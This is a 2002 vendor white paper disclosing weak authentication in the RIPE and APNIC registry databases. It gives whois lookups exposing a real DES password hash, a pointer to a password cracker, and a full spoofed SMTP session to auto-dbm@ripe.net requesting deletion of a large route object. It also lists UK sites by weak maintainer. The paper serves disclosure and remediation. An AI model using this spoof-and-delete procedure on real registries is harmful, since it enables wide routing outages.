Network Information Centre Security

A white paper by the consultants of Matta Security Limited

info@trustmatta.com

http://www.trustmatta.com

+44 (0) 8700 77 11 00

Introduction

A problem with Internet network security and integrity, especially in the European (RIPE) and Asia-Pacific (APNIC) regions, lies within the authentication methods that are used by these registries. Currently, when ISPs and other maintenance users wish to make changes to routing and IP allocation information within the relevant NIC (network information centre) database, they provide authentication. This paper discusses weaknesses in the authentication types that RIPE uses, highlighting the real threats to total network integrity across Europe and Asia. ARIN (The American Registry for Internet Numbers), uses a different NIC database format, and is not vulnerable in such a direct fashion.

RIPE & APNIC Database Authentication Types

The RIPE & APNIC databases support five different types of authentication for maintenance purposes –

- NONE
- MAIL-FROM: < e-mail address or wildcard >
- CRYPT-PW: < 56-bit DES encrypted password hash >
- MD5-PW: < 128-bit MD5 encrypted password hash >
- PGPKEY: < PGP key ID, referring to RIPE key-cert record >

The number of maintenance objects within the RIPE database using authentication fields set to NONE is worrying, this list includes large ISPs and organisations that depend on their Internet-based infrastructures to go about their daily business. If no authentication is selected, e-mail can be sent to RIPE instructing its automatic database update system to modify or even delete network objects.

Matta has found that within the RIPE NCC database, many ISPs and other organisations simply use MAIL-FROM authentication for their maintenance objects within the database, allowing anyone with the knowledge of e-mail spoofing to automatically delete or modify objects within the database by sending a spoofed message to auto-dbm@ripe.net from the user defined in the MAIL-FROM field.

Many large ISPs (UUNET, Demon / Thus, PSINet, Planet Online / Energis) use only 56-bit DES CRYPT-PW type authentication to secure their information within the registry, requiring an e-mail to contain a 'password:' field with the real password, that is then hashed and the hashes compared to authenticate. Problems and limitations within the DES standard have been known for some time now, and these hashes can easily be compromised in a matter of days using dedicated servers. The largest problem with DES is that the original password can only have a maximum length of 8 characters.

MD5-PW hashes are used by organisations that are a little more on the ball in terms of security, including Attenda / Cable & Wireless (who host www.microsoft.co.uk, and some other large web farms). RIPE recommends that MD5-PW authentication is used, and is phasing out MAIL-FROM authentication by July 11th 2002. MD5 produces a 128-bit encrypted password hash, which can be any length, although RIPE only processes the information that is presented on one continuous line, such as a pass phrase.

PGPKEY is by far the strongest form of authentication available in this instance. A public PGP key block is added to the database as a 'key-cert' object, which is then referenced in the maintenance object to provide PKI-based authentication. When changes are submitted via. e-mail to RIPE, the maintainer signs the message using PGP, and the signature is then cross-referenced with the relevant PGP keys in the database. RIPE administrators and other root-level database maintenance objects currently use PGP authentication to ensure database integrity.

RIPE Querying

RIPE handles the IP and network routing space across Europe. The RIPE database is easily queried either from a Unix-based command line, or from a web browser by visiting http://www.ripe.net and using the WHOIS query tool. The example in this case is that of the Royal Family's web server, which ultimately uses UUNet for their Internet service provision according to RIPE. All end-user commands are in bold, and fields of interest highlighted red.

Step 1 Finding the IP address for the Royal Family's web server –

```
$ nslookup www.royal.gov.uk

Name:    www.royal.gov.uk
Address:  194.203.40.17
```

Step 2 Issuing a WHOIS request for that IP address –

```
$ whois 194.203.40.17@whois.ripe.net
[whois.ripe.net]
% This is the RIPE Whois server.
% The objects are in RPSL format.
% Please visit http://www.ripe.net/rpsl for more information.
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

inetnum:      194.203.40.0 - 194.203.40.255
netname:      BATESUK01
descr:        Bates UK
country:      GB
admin-c:      OJ22-RIPE
tech-c:       OJ22-RIPE
status:       ASSIGNED PA
mnt-by:       AS1849-MNT
changed:      fredl@uk.uu.net 20011105
remarks:      Please send abuse notification to abuse@uk.uu.net
source:       RIPE

route:        194.200.0.0/14
descr:        PIPEX-BLOCK4-7
origin:       AS1849
holes:        194.201.253.0/24, 194.202.0.0/22, 194.202.4.0/23,
194.203.46.0/24, 194.203.192.0/23, 194.203.194.0/24, 194.203.247.0/24
remarks:      UUNET UK filter inbound on prefixes longer than /24
remarks:      Please send abuse notification to abuse@uk.uu.net
notify:       routing@uk.uu.net
mnt-by:       AS1849-MNT
changed:      tonyb@uk.uu.net 19980330
changed:      tonyb@uk.uu.net 19981124
changed:      tonyb@uk.uu.net 19990315
source:       RIPE
```

In the above WHOIS reply for that IP query, there are 2 records of interest. The first is a network block IP registration record, showing that Bates UK own the network space between 194.203.40.0 and 194.203.40.255, and the second is the routing information for that network block, which falls under PIPEX-BLOCK4-7, a network block of 4 class-b networks, or 262,136 total hosts (or /14 in CIDR slash notation).

The information we are interested in, is highlighted in red. These fields within each record define the maintainer for that record. The maintainer can submit modifications and even delete these records automatically by sending e-mail to auto-dbm@ripe.net.

Step 3 Issuing a WHOIS request for the AS1849-MNT maintenance record –

```
$ whois AS1849-MNT@whois.ripe.net
[whois.ripe.net]
% This is the RIPE Whois server.
% The objects are in RPSL format.
% Please visit http://www.ripe.net/rpsl for more information.
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

mntner:       AS1849-MNT
descr:        UUNET UK (Formerly PIPEX, Public IP EXchange Ltd)
admin-c:      UPHM1-RIPE
admin-c:      SB855-RIPE
tech-c:       UPHM1-RIPE
tech-c:       SD2497-RIPE
upd-to:       support@pipex.net
auth:         CRYPT-PW BrWco0TQ0yFOI
notify:       support@pipex.net
notify:       routing@uk.uu.net
mnt-by:       AS1849-MNT
referral-by:  RIPE-DBM-MNT
changed:      annel@uunet.pipex.com 19960820
changed:      tonyb@uk.uu.net 19980402
changed:      tonyb@uk.uu.net 19981013
changed:      tonyb@uk.uu.net 19981214
changed:      tonyb@uk.uu.net 19981214
changed:      tonyb@uk.uu.net 19981217
changed:      tonyb@uk.uu.net 20000216
source:       RIPE
```

The auth: field highlighted red in the above mntner record defines the authentication used by that maintainer to provide the RIPE database with modifications or other database commands. In this case, UUNet chose to use a single 56-bit DES encrypted password hash to ultimately secure the network integrity of hundreds of thousands of hosts.

Password cracking systems such as John the Ripper by Solar Designer are extremely efficient at cracking DES password hashes by utilising very efficient MMX-based mathematical algorithms within recent processors to perform fast key searches.

John the Ripper is available from http://www.openwall.com/john/. John can be used to efficiently crack most hash types, from 56-bit DES through to MD5 and strong OpenBSD-style Blowfish encrypted hashes.

Abusing Access to RIPE

Upon cracking the publicly available 56-bit DES encrypted password hash for the AS1849-MNT UUNet maintenance object at RIPE, an attacker can create an e-mail message and send it to the RIPE automatic database management system, at auto-dbm@ripe.net.

To delete the network route object for over quarter of a million IP addresses, effectively causing large scale denial of service (in theory, we have not tried this), an attacker could spoof an e-mail from tonyb@uk.uu.net, to auto-dbm@ripe.net containing a copy of the route record in the body of the message, all end user commands are in bold –

```
$ telnet postman.ripe.net 25
Trying 193.0.0.199...
Connected to postman.ripe.net.
Escape character is '^]'.
220 postman.ripe.net ESMTP
HELO uk.uu.net
250 postman.ripe.net
MAIL FROM: tonyb@uk.uu.net
250 ok
RCPT TO: auto-dbm@ripe.net
250 ok
DATA
354 go ahead
password:      p4ssw0rd
route:         194.200.0.0/14
descr:         PIPEX-BLOCK4-7
origin:        AS1849
holes:         194.201.253.0/24, 194.202.0.0/22, 194.202.4.0/23,
194.203.46.0/24, 194.203.192.0/23, 194.203.194.0/24, 194.203.247.0/24
remarks:       UUNET UK filter inbound on prefixes longer than /24
remarks:       Please send abuse notification to abuse@uk.uu.net
notify:        routing@uk.uu.net
mnt-by:        AS1849-MNT
changed:       tonyb@uk.uu.net 19980330
changed:       tonyb@uk.uu.net 19981124
changed:       tonyb@uk.uu.net 19990315
source:        RIPE
delete:        Legacy network, changed routes to new AS

.
250 ok 1022765286 qp 9173
QUIT
221 postman.ripe.net
Connection closed by foreign host.
```

Note that the attacker has added two fields to top and tail the route record, in red –

- The ‘password:’ field defines the cracked DES password that will be used to authorise
- The ‘delete:’ field requests that the route object is deleted, for the following reason

The password: field is used in both CRYPT-PW and MD5-PW cases, as the RIPE database management software hashes the password in both ways. PGP-KEY authentication does not use a password: field, instead the maintainer signs all e-mail messages to the RIPE database management system. When using MAIL-FROM authentication (which will no longer be valid from July 11th 2002), the password: field is not even required, only a spoofed e-mail from the address defined in the MAIL-FROM field in the maintenance record found in the RIPE database.

UK Sites & Networks

On Wednesday 29th May 2002, Matta tested the maintenance object integrity of 32 sites and their respective ISPs. In turn, Matta tested the strength of a selection of the 56-bit DES encrypted password hashes that are used by ISPs and maintainers of very large network spaces across Europe (handling millions of IP addresses), and has found that many can be compromised easily by using freely available password cracking programs and dedicated equipment.

Below is a matrix of large web sites and networks, with details of their associated ISP and maintainer records, the authentication system being used, and the strength of that authentication –

Web Site	ISP	Route Maintainer	Auth Type
www.qinetiq.com	Ebone	AS1755-MNT	PGPKEY
www.gchq.gov.uk	UUNet	AS1849-MNT	CRYPT-PW
www.royal.gov.uk	UUNet	AS1849-MNT	CRYPT-PW
www.number-10.gov.uk	UUNet	AS1849-MNT	CRYPT-PW
www.conservative-party.org.uk	UUNet	AS1849-MNT	CRYPT-PW
www.labour.org.uk	ZipCom	AS8743-MNT	MD5-PW
www.police.uk	Demon / Thus	AS2529-MNT	CRYPT-PW
www.parliament.uk	JANET	JIPS-NOSC	MD5-PW
www.mod.uk	DRA Malvern	JIPS-NOSC	MD5-PW
www.mi5.gov.uk	DRA Malvern	QINETIQ-UK-MNT	CRYPT-PW
www.open.gov.uk	CCTA / C&W	AS5551-MNT	CRYPT-PW
www.ncis.gov.uk	IDNet	SD567-RIPE-MNT	CRYPT-PW
www.homeoffice.gov.uk	COI / Globix	GBIX-RIPE-MNT	CRYPT-PW
www.channel4.com	Exodus	EXODUS-MNT	MAIL-FROM
www.bbc.co.uk	BBC	BBC-MNT	MAIL-FROM
www.mtv.co.uk	PSINet	AS1290-MNT	CRYPT-PW
www.vnunet.com	COLT	COLT-MNT	MAIL-FROM
www.theregister.co.uk	Netline	NETLINE-MNT	CRYPT-PW
www.silicon.com	Level3	LEVEL3-MNT	CRYPT-PW
www.cw360.com	IBM	AS12980-MNT	NONE
www.microsoft.co.uk	Attenda / C&W	AS5378-MNT	MD5-PW
www.vodafone.co.uk	Vodafone	VODAFONE-UK-MNTNER	CRYPT-PW
www.telewest.co.uk	Telewest	AS5462-MNT	NONE
www.bt.com	BT	BTNET-MNT	CRYPT-PW
www.bankofengland.co.uk	UUNet	AS1849-MNT	CRYPT-PW
www.natwest.co.uk	UUNet	AS1849-MNT	CRYPT-PW
www.lloydstsb.com	BT	BTNET-MNT	CRYPT-PW
www.cahoot.com	IBM / AT&T	EU-IBM-NIC-MNT	MD5-PW
www.egg.com	INS / C&W	AS5378-MNT	MD5-PW
www.ft.com	Digital Island	RIPE-NCC-NONE-MNT	NONE
www.charles-stanley.co.uk	Ftech	CS-SECURITY-MNT	MAIL-FROM
www.tesco.com	BT	BTNET-MNT	CRYPT-PW
www.lastminute.com	COLT	COLT-UK	PGPKEY

Matta has worked closely with all of the above organisations and their ISPs to improve the integrity of their maintenance objects, resulting in all of the above organisations' NIC maintenance authentication being vastly improved and virtually impregnable.

Out of the 33 web sites listed in May 2002, the following are statistics can be gleaned –

- 3 (9%) use absolutely no authentication
- 4 (10%) use weak 'mail from' authentication
- 18 (57%) use 56-bit DES 'crypt-pw' authentication
- 6 (19%) use 128-bit MD5 'md5-pw' authentication
- 2 (5%) use strong PGP authentication

Interestingly, the same maintainer objects are used across many of the sites. In total, of the 32 individual sites, 24 total maintainer objects are used. If the 56-bit DES encrypted password hash for the AS1849-MNT object was compromised, the following sites would be at risk –

- www.gchq.gov.uk
- www.royal.gov.uk
- www.number-10.gov.uk
- www.conservative-party.org.uk
- www.bankofengland.co.uk
- www.natwest.co.uk

Maintenance objects such as UUNet's AS1849-MNT are used by countless other companies to maintain their records within RIPE, including banks, e-commerce companies and governments points of presence. Considering the sheer amount of time and resource that some companies put into ensuring the security of their Internet-based systems, it is surprising that in many cases, single 56-bit DES encrypted password hashes are all that protect these networks.

Recommendations for the Future Improvement of Security

Two factors are extremely important in ensuring NIC integrity and security at this level. The first is the amount of information that is presented to the public when querying the database. Currently, the very presence of authentication information such as mail addresses when using MAIL-FROM authentication, or DES / MD5 encrypted password hashes, allows determined attackers to easily undermine network security.

The second is the security of the very scheme in use. Matta recommends that the already supported PGP PKI architecture is used with signatures for maintenance object authorisation and identification. PGP is extremely difficult to compromise, and yet still allows key information and other authentication details to be presented to the public through the RIPE database, without such an advantage being given to potential attackers. Matta strongly recommends that all auth: fields are removed from public display in the APNIC and RIPE databases if they contain field values of NONE, CRYPT-PW or MD5-PW.

The ARIN (American Registry of Internet Numbers) is not vulnerable to this sort of attack, as the database does not present encrypted password hashes to the public. However, instances have been known and publicised over the last four years of determined attackers sending spoofed e-mails and making telephone calls to ARIN in order to re-route and compromise traffic. Nike was a classic case of this type of attack through NSI as opposed to ARIN, but it makes an interesting read –

http://www.cnn.com/2000/TECH/computing/07/04/nike.v.nsi.idg/index.html

About Matta

Matta is a fiercely independent information risk management firm, specialising in true IRM through talking to clients and identifying key business drivers and information assets. Matta actively runs skills transfer and training programmes for many of it's clients, including banks and financial companies, for more information about our skills transfer services, please visit http://www.trustmatta.com/services/courses.htm, where you will also find more freely available white papers.

Alternatively, Matta consultants are available at –

Matta Security Limited
Peek House, 20 Eastcheap
London EC3M 1EB

+44 (0) 8700 77 11 00

info@trustmatta.com

http://www.trustmatta.com